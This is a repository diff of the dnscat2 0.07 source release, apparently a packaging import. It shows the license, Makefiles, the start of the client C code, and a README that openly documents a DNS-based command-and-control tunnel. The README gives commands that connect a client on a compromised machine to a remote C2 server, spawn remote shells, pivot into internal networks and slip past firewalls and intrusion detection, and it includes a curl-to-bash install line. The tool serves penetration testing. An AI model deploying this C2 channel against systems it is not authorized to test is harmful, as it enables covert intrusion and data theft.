Codebase list dnscat2 / upstream/latest
New upstream version 0.07 Sophie Brun 3 years ago
130 changed file(s) with 53009 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0 Copyright (c) 2013-2015, Ron Bowes
1 All rights reserved.
2
3 Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
4
5 - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
6 - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
7 - Neither the name of the organization nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
8
9 THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
0 # Makefile
1 # By Ron
2 #
3 # See LICENSE.md
4
5 # Can't use a '#' in the shell command
6 VERSION=$(shell egrep '^.define VERSION' client/dnscat.c | head -n1 | cut -d\" -f2)
7
8 OS=$(shell uname -s)
9 ARCH=$(shell uname -p | sed 's/x86_64/x64/i' | sed 's/i.86/x86/i')
10
11 ifeq ($(OS), Linux)
12 RELEASE_FILENAME="dnscat2-$(VERSION)-client-$(ARCH)"
13 else
14 RELEASE_FILENAME="dnscat2-$(VERSION)-client-$(OS)-$(ARCH)"
15 endif
16
17 all:
18 @cd client && make
19 @echo "Compile complete!"
20 @echo "* Client: client/dnscat"
21 @echo "* Server: server/dnscat_*.rb"
22
23 clean:
24 @cd client && make clean
25
26 debug:
27 @cd client && make debug
28 @echo "Debug compile complete!"
29
30 release:
31 @make clean
32 -mkdir dist/
33 @cd client && make release
34 @mv client/dnscat .
35 @strip dnscat
36 @tar -cvvjf dist/${RELEASE_FILENAME}.tar.bz2 dnscat
37 @echo "*** Release compiled: `pwd`/${RELEASE_FILENAME}"
38 @echo "*** By the way, did you update the version number in the server?"
39 @echo "Release compile complete!"
40
41 source_release:
42 @make clean
43 -mkdir dist/
44 @cp -r client dnscat2_client
45 @tar -cvvjf dist/dnscat2-${VERSION}-client-source.tar.bz2 dnscat2_client
46 @zip -r dist/dnscat2-${VERSION}-client-source.zip dnscat2_client
47 @rm -rf dnscat2_client
48 @cp -r server dnscat2_server
49 @tar -cvvjf dist/dnscat2-${VERSION}-server.tar.bz2 dnscat2_server
50 @zip -r dist/dnscat2-${VERSION}-server.zip dnscat2_server
51 @rm -rf dnscat2_server
52
53 dnscat:
54 @cd client && make dnscat
55
0 # Introduction
1
2 Welcome to dnscat2, a DNS tunnel that WON'T make you sick and kill you!
3
4 This tool is designed to create an encrypted command-and-control (C&C)
5 channel over the DNS protocol, which is an effective tunnel out of
6 almost every network.
7
8 This README file should contain everything you need to get up and
9 running! If you're interested in digging deeper into the protocol, how
10 the code is structured, future plans, or other esoteric stuff, check
11 out the doc/ folder.
12
13 # License
14
15 This is released under the BSD license. See [LICENSE.md](LICENSE.md) for
16 more information.
17
18 # Overview
19
20 dnscat2 comes in two parts: the client and the server.
21
22 The client is designed to be run on a compromised machine. It's written
23 in C and has the minimum possible dependencies. It should run just about
24 anywhere (if you find a system where it doesn't compile or run, please
25 file a ticket, particularly if you can help me get access to said
26 system).
27
28 When you run the client, you typically specify a domain name. All
29 requests will be sent to the local DNS server, which are then redirected
30 to the authoritative DNS server for that domain (which you, presumably,
31 have control of).
32
33 If you don't have an authoritative DNS server, you can also use direct
34 connections on UDP/53 (or whatever you choose). They'll be faster, and
35 still look like DNS traffic to the casual viewer, but it's much more
36 obvious in a packet log (all domains are prefixed with "dnscat.", unless
37 you hack the source). This mode will frequently be blocked by firewalls.
38
39 The server is designed to be run on an [authoritative DNS
40 server](doc/authoritative_dns_setup.md). It's in ruby, and depends on
41 several different gems. When you run it, much like the client, you
42 specify which domain(s) it should listen for in addition to listening
43 for messages sent directly to it on UDP/53. When it receives traffic for
44 one of those domains, it attempts to establish a logical connection. If
45 it receives other traffic, it ignores it by default, but can also
46 forward it upstream.
47
48 Detailed instructions for both parts are below.
49
50 # How is this different from .....
51
52 dnscat2 strives to be different from other DNS tunneling protocols by
53 being designed for a special purpose: command and control.
54
55 This isn't designed to get you off a hotel network, or to get free
56 Internet on a plane. And it doesn't just tunnel TCP.
57
58 It can tunnel any data, with no protocol attached. Which means it can
59 upload and download files, it can run a shell, and it can do those
60 things well. It can also potentially tunnel TCP, but that's only going
61 to be added in the context of a pen-testing tool (that is, tunneling TCP
62 into a network), not as a general purpose tunneling tool. That's been
63 done, it's not interesting (to me).
64
65 It's also encrypted by default. I don't believe any other public DNS
66 tunnel encrypts all traffic!
67
68 # Where to get it
69
70 Here are some important links:
71
72 * [Sourcecode on Github](https://github.com/iagox86/dnscat2)
73 * [Downloads](https://downloads.skullsecurity.org/dnscat2/) (you'll find [signed](https://downloads.skullsecurity.org/ron.pgp) Linux 32-bit, Linux 64-bit, Win32, and source code versions of the client, plus an archive of the server - keep in mind that that signature file is hosted on the same server as the files, so if you're worried, please verify my PGP key :) )
74 * [User documentation](/doc/README.md) A collection of files, both for end-users (like the [Changelog](doc/changelog.md)) and for developers (like the [Contributing](/doc/contributing.md) doc)
75 * [Issue tracker](https://github.com/iagox86/dnscat2/issues) (you can also email me issues, just put my first name (ron) in front of my domain name (skullsecurity.net))
76
77 # How to play
78
79 The theory behind dnscat2 is simple: it creates a tunnel over the DNS
80 protocol.
81
82 Why? Because DNS has an amazing property: it'll make its way from server
83 to server until it figures out where it's supposed to go.
84
85 That means that for dnscat to get traffic off a secure network, it
86 simply has to send messages to *a* DNS server, which will happily
87 forward things through the DNS network until it gets to *your* DNS
88 server.
89
90 That, of course, assumes you have access to an authoritative DNS server.
91 dnscat2 also supports "direct" connections - that is, running a dnscat
92 client that directly connects to your dnscat on your ip address and UDP
93 port 53 (by default). The traffic still looks like DNS traffic, and
94 might get past dumber IDS/IPS systems, but is still likely to be stopped
95 by firewalls.
96
97 If you aren't clear on how to set up an authoritative DNS server, it's
98 something you have to set up with a domain provider.
99 [izhan](https://github.com/izhan) helpfully [wrote
100 one](https://github.com/iagox86/dnscat2/blob/master/doc/authoritative_dns_setup.md)
101 for you!
102
103 ## Compiling
104
105 ### Client
106
107 Compiling the client should be pretty straight forward - all you should
108 need to compile is make/gcc (for Linux) or either Cygwin or Microsoft
109 Visual Studio (for Windows). Here are the commands on Linux:
110
111 $ git clone https://github.com/iagox86/dnscat2.git
112 $ cd dnscat2/client/
113 $ make
114
115 On Windows, load client/win32/dnscat2.vcproj into Visual Studio and hit
116 "build". I created and test it on Visual Studio 2008 - until I get a
117 free legit copy of a newer version, I'll likely be sticking with that
118 one. :)
119
120 If compilation fails, please file a bug on my [github
121 page](https://github.com/iagox86/dnscat2/issues)! Please send details
122 about your system.
123
124 You can verify dnscat2 is successfully compiled by running it with no
125 flags; you'll see it attempting to start a DNS tunnel with whatever your
126 configured DNS server is (which will fail):
127
128 $ ./dnscat
129 Starting DNS driver without a domain! This will only work if you
130 are directly connecting to the dnscat2 server.
131
132 You'll need to use --dns server=<server> if you aren't.
133
134 ** WARNING!
135 *
136 * It looks like you're running dnscat2 with the system DNS server,
137 * and no domain name!*
138 * That's cool, I'm not going to stop you, but the odds are really,
139 * really high that this won't work. You either need to provide a
140 * domain to use DNS resolution (requires an authoritative server):
141 *
142 * dnscat mydomain.com
143 *
144 * Or you have to provide a server to connect directly to:
145 *
146 * dnscat --dns=server=1.2.3.4,port=53
147 *
148 * I'm going to let this keep running, but once again, this likely
149 * isn't what you want!
150 *
151 ** WARNING!
152
153 Creating DNS driver:
154 domain = (null)
155 host = 0.0.0.0
156 port = 53
157 type = TXT,CNAME,MX
158 server = 4.2.2.1
159 [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
160 [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
161 [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
162 [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
163 [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
164 [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
165 [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
166 [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
167 [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
168 [[ ERROR ]] :: DNS: RCODE_NAME_ERROR
169 [[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
170 [[ FATAL ]] :: There are no active sessions left! Goodbye!
171 [[ WARNING ]] :: Terminating
172
173 ### Server
174
175 The server isn't "compiled", as such, but it does require some Ruby
176 dependencies. Unfortunately, Ruby dependencies can be annoying to get
177 working, so good luck! If any Ruby experts out there want to help make
178 this section better, I'd be grateful!
179
180 I'm assuming you have Ruby and Gem installed and in working order. If
181 they aren't, install them with either `apt-get`, `emerge`, `rvm`, or
182 however is normal on your operating system.
183
184 Once Ruby/Gem are sorted out, run these commands (note: you can
185 obviously skip the `git clone` command if you already installed the
186 client and skip `gem install bundler` if you've already installed
187 bundler):
188
189 $ git clone https://github.com/iagox86/dnscat2.git
190 $ cd dnscat2/server/
191 $ gem install bundler
192 $ bundle install
193
194 If you get a permissions error with `gem install bundler` or `bundler
195 install`, you may need to run them as root. If you have a lot of
196 problems, uninstall Ruby/Gem and install everything using `rvm` and
197 without root.
198
199 If you get an error that looks like this:
200
201 /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
202
203 It means you need to install the -dev version of Ruby:
204
205 $ sudo apt-get install ruby-dev
206
207 I find that `sudo` isn't always enough to get everything working right,
208 I sometimes have to switch to root and work directly as that account.
209 `rvmsudo` doesn't help, because it breaks ctrl-z.
210
211 You can verify the server is working by running it with no flags and
212 seeing if you get a dnscat2> prompt:
213
214 # ruby ./dnscat2.rb
215
216 New window created: 0
217 Welcome to dnscat2! Some documentation may be out of date.
218
219 passthrough => disabled
220 auto_attach => false
221 auto_command =>
222 process =>
223 history_size (for new windows) => 1000
224 New window created: dns1
225 Starting Dnscat2 DNS server on 0.0.0.0:53
226 [domains = n/a]...
227
228 It looks like you didn't give me any domains to recognize!
229 That's cool, though, you can still use direct queries,
230 although those are less stealthy.
231
232 To talk directly to the server without a domain name, run:
233 ./dnscat2 --dns server=x.x.x.x,port=53
234
235 Of course, you have to figure out <server> yourself! Clients
236 will connect directly on UDP port 53.
237
238 dnscat2>
239
240 If you don't run it as root, you might have trouble listening on UDP/53
241 (you can use --dnsport to change it). You'll see an error message if
242 that's the case.
243
244 #### Ruby as root
245
246 If you're having trouble running Ruby as root, this is what I do to run
247 it the first time:
248
249 $ cd dnscat2/server
250 $ su
251 # gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
252 # \curl -sSL https://get.rvm.io | bash
253 # source /etc/profile.d/rvm.sh
254 # rvm install 1.9
255 # rvm use 1.9
256 # bundle install
257 # ruby ./dnscat2.rb
258
259 And subsequent times:
260
261 $ cd dnscat2/server
262 $ su
263 # source /etc/profile.d/rvm.sh
264 # ruby ./dnscat2.rb
265
266 `rvmsudo` should make it easier, but dnscat2 doesn't play well with
267 `rvmsudo` unfortunately.
268
269
270 ## Usage
271
272 ### Client + server
273
274 Before we talk about how to specifically use the tools, let's talk about
275 how dnscat is structured. The dnscat tool is divided into two pieces: a
276 client and a server. As you noticed if you went through the compilation,
277 the client is written in C and the server is in Ruby.
278
279 Generally, the server is run first. It can be long lived, and handle as
280 many clients as you'd like. As I said before, it's basically a C&C
281 service.
282
283 Later, a client is run, which opens a session with the server (more on
284 sessions below). The session can either traverse the DNS hierarchy
285 (recommended, but more complex) or connect directly to the server.
286 Traversing the DNS hierarchy requires an authoritative domain, but will
287 bypass most firewalls. Connecting directly to the server is more
288 obvious for several reasons.
289
290 By default, connections are automatically encrypted (turn it off on the
291 client with `--no-encryption` and on the server with `--security=open`).
292 When establishing a new connection, if you're paranoid about
293 man-in-the-middle attacks, you have two options for verifying the peer:
294
295 * Pass a pre-shared secret using the `--secret` argument on both sides
296 to validate the connection
297 * Manually verify the "short authentication string" - a series of words
298 that are printed on both the client and server after encryption is
299 negotiated
300
301 ### Running a server
302
303 The server - which is typically run on the authoritative DNS server for
304 a particular domain - is designed to be feature-ful, interactive, and
305 user friendly. It's written in Ruby, and much of its design is inspired
306 by Metasploit and Meterpreter.
307
308 If you followed the compilation instructions above, you should be able
309 to just run the server:
310
311 $ ruby ./dnscat2.rb skullseclabs.org
312
313 Where "skullseclabs.org" is your own domain. If you don't have an
314 authoritative DNS server, it isn't mandatory; but this tool works way,
315 way better with an authoritative server.
316
317 That should actually be all you need! Other than that, you can test it
318 using the client's --ping command on any other system, which should be
319 available if you've compiled it:
320
321 $ ./dnscat --ping skullseclabs.org
322
323 If the ping succeeds, your C&C server is probably good! If you ran the
324 DNS server on a different port, or if you need to use a custom DNS
325 resolver, you can use the --dns flag in addition to --ping:
326
327 $ ./dnscat --dns server=8.8.8.8,domain=skullseclabs.org --ping
328
329 $ ./dnscat --dns port=53531,server=localhost,domain=skullseclabs.org --ping
330
331 Note that when you specify a --dns argument, the domain has to be part
332 of that argument (as domain=xxx). You can't just pass it on the
333 commandline (due to a limitation of my command parsing; I'll likely
334 improve that in a future release).
335
336 When the process is running, you can start a new server using basically
337 the exact same syntax:
338
339 dnscat2> start --dns=port=53532,domain=skullseclabs.org,domain=test.com
340 New window created: dns2
341 Starting Dnscat2 DNS server on 0.0.0.0:53532
342 [domains = skullseclabs.org, test.com]...
343
344 Assuming you have an authoritative DNS server, you can run
345 the client anywhere with the following:
346 ./dnscat2 skullseclabs.org
347 ./dnscat2 test.com
348
349 To talk directly to the server without a domain name, run:
350 ./dnscat2 --dns server=x.x.x.x,port=53532
351
352 Of course, you have to figure out <server> yourself! Clients
353 will connect directly on UDP port 53532.
354
355 You can run as many DNS listeners as you want, as long as they're on
356 different hosts/ports. Once the data comes in, the rest of the process
357 doesn't even know which listener data came from; in fact, a client can
358 send different packets to different ports, and the session will continue
359 as expected.
360
361 ### Running a client
362
363 The client - which is typically run on a system after compromising it -
364 is designed to be simple, stable, and portable. It's written in C and
365 has as few library dependencies as possible, and compiles/runs natively
366 on Linux, Windows, Cygwin, FreeBSD, and Mac OS X.
367
368 The client is given the domain name on the commandline, for example:
369
370 ./dnscat2 skullseclabs.org
371
372 In that example, it will create a C&C session with the dnscat2 server
373 running on skullseclabs.org. If an authoritative domain isn't an option,
374 it can be given a specific ip address to connect to instead:
375
376 ./dnscat2 --dns host=206.220.196.59,port=5353
377
378 Assuming there's a dnscat2 server running on that host/port, it'll
379 create a session there.
380
381 ### Tunnels
382
383 Yo dawg; I hear you like tunnels, so now you can tunnel a tunnel through
384 your tunnel!
385
386 It is currently possible to tunnel a connection through dnscat2, similar
387 to "ssh -L"! Other modes ("ssh -D" and "ssh -R") are coming soon as
388 well!
389
390 After a session has started (a command session), the command "listen" is
391 used to open a new tunnelled port. The syntax is roughly the same as ssh
392 -L:
393
394 listen [lhost:]lport rhost:rport
395
396 The local host is option, and will default to all interfaces (0.0.0.0).
397 The local port and remote host/port are mandatory.
398
399 The dnscat2 server will listen on lport. All connections received to
400 that port are forwarded, via the dnscat2 client, to the remote host/port
401 chosen.
402
403 For example, this will listen on port 4444 (on the *server*) and forward
404 traffic to google:
405
406 listen 4444 www.google.com:80
407
408 Then, if you connect to http://localhost:4444, it'll come out the
409 dnscat2 client and connect to google.com.
410
411 Let's say you're using this on a pentest and you want to forward ssh
412 connections through the dnscat2 client (running on somebody's corp
413 network) to an internal device. You can!
414
415 listen 127.0.0.1:2222 10.10.10.10:22
416
417 That'll only listen on the localhost interface on the dnscat2 server,
418 and will forward connections via the tunnel to port 22 of 10.10.10.10.
419
420 ### Encryption
421
422 dnscat2 is encrypted by default.
423
424 I'm not a cryptographer, and by necessity I came up with the encryption
425 scheme myself. As a result, I wouldn't trust this 100%. I think I did a
426 *pretty* good job preventing attacks, but this hasn't been
427 professionally audited. Use with caution.
428
429 There is a ton of technical information about the encryption in the
430 [protocol doc](/doc/protocol.md). But here are the basics.
431
432 By default, both the client and the server support and will attempt
433 encryption. Each connection uses a new keypair, negotiated by ECDH. All
434 encryption is done by salsa20, and signatures use sha3.
435
436 Encryption can be disabled on the client by passing `--no-encryption` on
437 the commandline, or by compiling it using `make nocrypto`.
438
439 The server will reject unencrypted connections by default. To allow
440 unencrypted connections, pass `--security=open` to the server, or run
441 `set security=open` on the console.
442
443 By default, there's no protection against man-in-the-middle attacks. As
444 mentioned before, there are two different ways to gain MitM protection:
445 a pre-shared secret or a "short authentication string".
446
447 A pre-shared secret is passed on the commandline to both the client and
448 the server, and is used to authenticate both the client to the server
449 and the server to the client. It should be a somewhat strong value -
450 something that can't be quickly guessed by an attacker (there's only a
451 short window for the attacker to guess it, so it only has to hold up for
452 a few seconds).
453
454 The pre-shared secret is passed in via the `--secret` parameter on both
455 the client and the server. The server can change it at runtime using
456 `set secret=<new value>`, but that can have unexpected results if active
457 clients are connected.
458
459 Furthermore, the server can enforce *only* authenticated connections are
460 allowed by using `--security=authenticated` or `set
461 security=authenticated`. That's enabled by default if you pass the
462 `--secret` parameter.
463
464 If you don't require the extra effort of authenticating connections,
465 then a "short authentication string" is displayed by both the client and
466 the server. The short authentication string is a series of English words
467 that are derived based on the secret values that both sides share.
468
469 If the same set of English words are printed on both the client and the server,
470 the connection can be reasonably considered to be secure.
471
472 That's about all you need to know about the encryption! See the protocol
473 doc for details! I'd love to hear any feedback on the crypto, as well.
474 :)
475
476 And finally, if you have any problems with the crypto, please let me
477 know! By default a window called "crypto-debug" will be created at the
478 start. If you have encryption problems, please send me that log! Or,
479 better yet, run dnscat2 with the `--firehose` and `--packet-trace`
480 arguments, and send me *EVERYTHING*! Don't worry about revealing private
481 keys; they're only used for that one session.
482
483 ### dnscat2's Windows
484
485 The dnscat2 UI is made up of a bunch of windows. The default window is
486 called the 'main' window. You can get a list of windows by typing
487 `windows` (or `sessions`) into any command prompt:
488
489 dnscat2> windows
490 0 :: main [active]
491 dns1 :: DNS Driver running on 0.0.0.0:53 domains = skullseclabs.org [*]
492
493 You'll note that there are two windows - window `0` is the main window,
494 and window `dns1` is the listener (technically referred to as the
495 'tunnel driver').
496
497 From any window that accepts commands (`main` and command sessions), you
498 can type `help` to get a list of commands:
499
500 dnscat2> help
501
502 Here is a list of commands (use -h on any of them for additional help):
503 * echo
504 * help
505 * kill
506 * quit
507 * set
508 * start
509 * stop
510 * tunnels
511 * unset
512 * window
513 * windows
514
515 For any of those commands, you can use -h or --help to get details:
516
517 dnscat2> window --help
518 Error: The user requested help
519
520 Interact with a window
521 -i, --i=<s> Interact with the chosen window
522 -h, --help Show this message
523
524 We'll use the `window` command to interact with `dns1`, which is a
525 status window:
526
527 dnscat2> window -i dns1
528 New window created: dns1
529 Starting Dnscat2 DNS server on 0.0.0.0:53531
530 [domains = skullseclabs.org]...
531
532 Assuming you have an authoritative DNS server, you can run
533 the client anywhere with the following:
534 ./dnscat2 skullseclabs.org
535
536 To talk directly to the server without a domain name, run:
537 ./dnscat2 --dns server=x.x.x.x,port=53531
538
539 Of course, you have to figure out <server> yourself! Clients
540 will connect directly on UDP port 53531.
541
542 Received: dnscat.9fa0ff178f72686d6c716c6376697968657a6d716800 (TXT)
543 Sending: 9fa0ff178f72686d6c716c6376697968657a6d716800
544 Received: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org (MX)
545 Sending: d17cff3e747073776c776d70656b73786f646f616200.skullseclabs.org
546
547 The received and sent strings there are, if you decode them, pings.
548
549 You can switch to the 'parent' window (in this case, `main`) by pressing
550 ctrl-z. If ctrl-z kills the process, then you probably have to find a
551 better way to run it (`rvmsudo` doesn't work, see above).
552
553 When a new client connects and creates a session, you'll be notified in
554 `main` (and certain other windows):
555
556 New window created: 1
557 dnscat2>
558
559 (Note that you have to press enter to get the prompt back)
560
561 You can switch to the new window the same way we switched to the `dns1`
562 status window:
563
564 dnscat2> window -i 1
565 New window created: 1
566 history_size (session) => 1000
567 This is a command session!
568
569 That means you can enter a dnscat2 command such as
570 'ping'! For a full list of clients, try 'help'.
571
572 command session (ubuntu-64) 1>
573
574 Command sessions can spawn additional sessions; for example, the `shell`
575 command:
576
577 command session (ubuntu-64) 1> shell
578 Sent request to execute a shell
579 New window created: 2
580 Shell session created!
581
582 command session (ubuntu-64) 1>
583
584 (Note that throughout this document I'm cleaning up the output; usually
585 you have to press enter to get the prompt back)
586
587 Then, if you return to the main session (ctrl-z or `suspend`, you'll see
588 it in the list of windows:
589
590 dnscat2> windows
591 0 :: main [active]
592 dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
593 1 :: command session (ubuntu-64)
594 2 :: sh (ubuntu-64) [*]
595
596 Unfortunately, the 'windows' command in a specific command session only
597 shows child windows from that session, and right now new sessions aren't
598 spawned as children.
599
600 Note that some sessions have `[*]` - that means that there's been
601 activity since the last time we looked at them.
602
603 When you interact with a session, the interface will look different
604 depending on the session type. As you saw with the default session type
605 (command sessions) you get a UI just like the top-level session (you can
606 type 'help' or run commands or whatever). However, if you interact with
607 a 'shell' session, you won't see much immediately, until you type a
608 command:
609
610 dnscat2> windows
611 0 :: main [active]
612 dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
613 1 :: command session (ubuntu-64)
614 2 :: sh (ubuntu-64) [*]
615
616 dnscat2> session -i 2
617 New window created: 2
618 history_size (session) => 1000
619 This is a console session!
620
621 That means that anything you type will be sent as-is to the
622 client, and anything they type will be displayed as-is on the
623 screen! If the client is executing a command and you don't
624 see a prompt, try typing 'pwd' or something!
625
626 To go back, type ctrl-z.
627
628 sh (ubuntu-64) 2> pwd
629 /home/ron/tools/dnscat2/client
630
631 To escape this, you can use ctrl-z or type "exit" (which will kill the
632 session).
633
634 Lastly, to kill a session, the `kill` command can be used:
635
636 dnscat2> windows
637 0 :: main [active]
638 dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
639 1 :: command session (ubuntu-64)
640 2 :: sh (ubuntu-64) [*]
641 dnscat2> kill 2
642 Session 2 has been sent the kill signal!
643 Session 2 has been killed
644 dnscat2> windows
645 0 :: main [active]
646 dns1 :: DNS Driver running on 0.0.0.0:53531 domains = skullseclabs.org [*]
647 1 :: command session (ubuntu-64)
648
649 # History
650
651 In the past, there were several DNS tunneling tools. One was called
652 [dnscat](http://tadek.pietraszek.org/projects/DNScat/index.html), written by Tadek Pietraszek. The problem is, it's written in Java, and I really wanted something that could run basically everywhere.
653
654 That version of dnscat was based on a tool called NSTX, whose page [no
655 longer exists](http://freecode.com/projects/nstx/) and isn't even in the
656 Wayback Machine, so I know nothing about it.
657
658 Later, I wrote a C implementation and called it dnscat (without
659 permission), since the previous Java version was unmaintained and I
660 really liked the name (I toyed with calling it dnscat-ng, but -ng is a
661 bit wordy for my taste). It worked, but there were a lot of problems.
662 The client and server were the same tool, like netcat, which, because
663 DNS is such a client/server model, didn't work out that well. The other
664 problem was that I had linked it too much to the DNS protocol, so it
665 could only run over DNS.
666
667 dnscat2 - the successor to dnscat - is an attempt to right some of the
668 wrongs that I had committed. dnscat2 has a separate server (Ruby) and
669 client (C) and treats everything as a stream of bytes, and uses a
670 driver, of sorts, to convert that stream of bytes into dns requests and
671 back. Thus, it's a layered protocol, with DNS being a lower layer.
672
673 As a result, I invented a protocol that I'm calling the dnscat protocol.
674 You can find documentation about it in docs/protocol.md. It's a simple
675 polling network protocol, where the client occasionally polls the
676 server, and the server responds with a message (or an error code). The
677 protocol is designed to be resilient to the various issues I had with
678 dnscat1 - that is, it can handle out-of-order packets, dropped packets,
679 and duplicated packets equally well.
0 # Object files
1 *.o
2
3 # Libraries
4 *.lib
5 *.a
6
7 # Shared objects (inc. Windows DLLs)
8 *.dll
9 *.so
10 *.so.*
11 *.dylib
12
13 # Executables
14 *.exe
15 *.out
16 *.app
17
18 # Named executables
19 dnscat
20 tcpcat
21 test
22
23 # Crash dumps
24 core
25 core.*
26 *.stackdump
27
0 # Makefile
1 # By Ron Bowes
2 # Created January, 2013
3 #
4 # (See LICENSE.md)
5 #
6 # Should work for Linux and BSD make.
7
8 CC?=gcc
9 DEBUG_CFLAGS?=-DTESTMEMORY -Werror -O0
10 RELEASE_CFLAGS?=-Os
11 CFLAGS?=--std=c89 -I. -Wall -D_DEFAULT_SOURCE -fstack-protector-all -Wformat -Wformat-security -g
12 LIBS=-pie -Wl,-z,relro,-z,now
13
14 OBJS=controller/packet.o \
15 controller/session.o \
16 controller/controller.o \
17 drivers/driver.o \
18 drivers/command/driver_command.o \
19 drivers/command/command_packet.o \
20 drivers/driver_console.o \
21 drivers/driver_exec.o \
22 drivers/driver_ping.o \
23 libs/buffer.o \
24 libs/crypto/encryptor.o \
25 libs/crypto/micro-ecc/uECC.o \
26 libs/crypto/salsa20.o \
27 libs/crypto/sha3.o \
28 libs/dns.o \
29 libs/ll.o \
30 libs/log.o \
31 libs/memory.o \
32 libs/select_group.o \
33 libs/tcp.o \
34 libs/types.o \
35 libs/udp.o \
36 tunnel_drivers/driver_dns.o \
37
38 DNSCAT_DNS_OBJS=${OBJS} dnscat.o
39
40 all: dnscat
41 @echo "*** Build complete! Run 'make debug' to build a debug version!"
42
43 debug: CFLAGS += $(DEBUG_CFLAGS)
44 debug: dnscat
45 @echo "*** Debug build complete"
46
47 release: CFLAGS += ${RELEASE_CFLAGS}
48 release: dnscat
49
50 nocrypto: CFLAGS += -DNO_ENCRYPTION
51 nocrypto: all
52
53 remove:
54 rm -f /usr/local/bin/dnscat
55
56 uninstall: remove
57
58 clean:
59 -rm -f *.o */*.o */*/*.o */*/*/*.o *.exe *.stackdump dnscat tcpcat test driver_tcp driver_dns
60 -rm -rf win32/Debug/
61 -rm -rf win32/Release/
62 -rm -rf win32/*.ncb
63 -rm -rf win32/*.sln
64 -rm -rf win32/*.suo
65 -rm -rf win32/*.vcproj.*
66
67 dnscat: ${DNSCAT_DNS_OBJS}
68 ${CC} ${CFLAGS} -o dnscat ${DNSCAT_DNS_OBJS}
69 @echo "*** dnscat successfully compiled"
70
71 COMMANDS=drivers/command/commands_standard.h \
72 drivers/command/commands_tunnel.h
73
74 drivers/command/driver_command.o: drivers/command/driver_command.c ${COMMANDS}
75 ${CC} -c ${CFLAGS} -o drivers/command/driver_command.o drivers/command/driver_command.c
0 /**
1 * controller.c
2 * Created by Ron Bowes
3 * On April, 2015
4 *
5 * See LICENSE.md
6 */
7
8 #include <assert.h>
9 #include <stdio.h>
10 #include <stdlib.h>
11
12 #ifdef WIN32
13 #include "libs/pstdint.h"
14 #else
15 #include <stdint.h>
16 #endif
17
18 #include "libs/dns.h"
19 #include "libs/log.h"
20 #include "tunnel_drivers/driver_dns.h"
21 #include "packet.h"
22 #include "session.h"
23
24 #include "controller.h"
25
26 static int max_retransmits = 20;
27
28 typedef struct _session_entry_t
29 {
30 session_t *session;
31 struct _session_entry_t *next;
32 } session_entry_t;
33 static session_entry_t *first_session;
34
35 void controller_add_session(session_t *session)
36 {
37 session_entry_t *entry = NULL;
38
39 /* Add it to the linked list. */
40 entry = safe_malloc(sizeof(session_entry_t));
41 entry->session = session;
42 entry->next = first_session;
43 first_session = entry;
44 }
45
46 size_t controller_open_session_count()
47 {
48 size_t count = 0;
49
50 session_entry_t *entry = first_session;
51
52 while(entry)
53 {
54 if(!session_is_shutdown(entry->session))
55 count++;
56
57 entry = entry->next;
58 }
59
60 return count;
61 }
62
63 static session_t *sessions_get_by_id(uint16_t session_id)
64 {
65 session_entry_t *entry;
66
67 for(entry = first_session; entry; entry = entry->next)
68 if(entry->session->id == session_id)
69 return entry->session;
70
71 return NULL;
72 }
73
74 /* Version beta 0.01 suffered from a bug that I didn't understand: if one
75 * session had a ton of data to send, all the other sessions were ignored till
76 * it was done (if it was a new session). This function will get the "next"
77 * session using a global variable.
78 */
79 static session_entry_t *current_session = NULL;
80
81 #if 0
82 static session_t *sessions_get_next()
83 {
84 /* If there's no session, use the first one. */
85 if(!current_session)
86 current_session = first_session;
87
88 /* If there's still no session, give up. */
89 if(!current_session)
90 return NULL;
91
92 /* Get the next session. */
93 current_session = current_session->next;
94
95 /* If we're at the end, go to the beginning. Also attempting a record for the
96 * number of NULL checks one a single pointer. */
97 if(!current_session)
98 current_session = first_session;
99
100 /* If this is NULL, something crazy is happening (we already had a
101 * first_session at some point in the past, so it means the linked list has
102 * had a member removed, which we can't currently do. */
103 assert(current_session);
104
105 /* All done! */
106 return current_session->session;
107 }
108 #endif
109
110 /* Get the next session in line that isn't shutdown.
111 * TODO: can/should we give higher priority to sessions that have data
112 * waiting?
113 */
114 static session_t *sessions_get_next_active()
115 {
116 /* Keep track of where we start. */
117 session_entry_t *start = NULL;
118
119 /* If there's no session, use the first one. */
120 if(!current_session)
121 current_session = first_session;
122
123 /* If there's still no session, give up. */
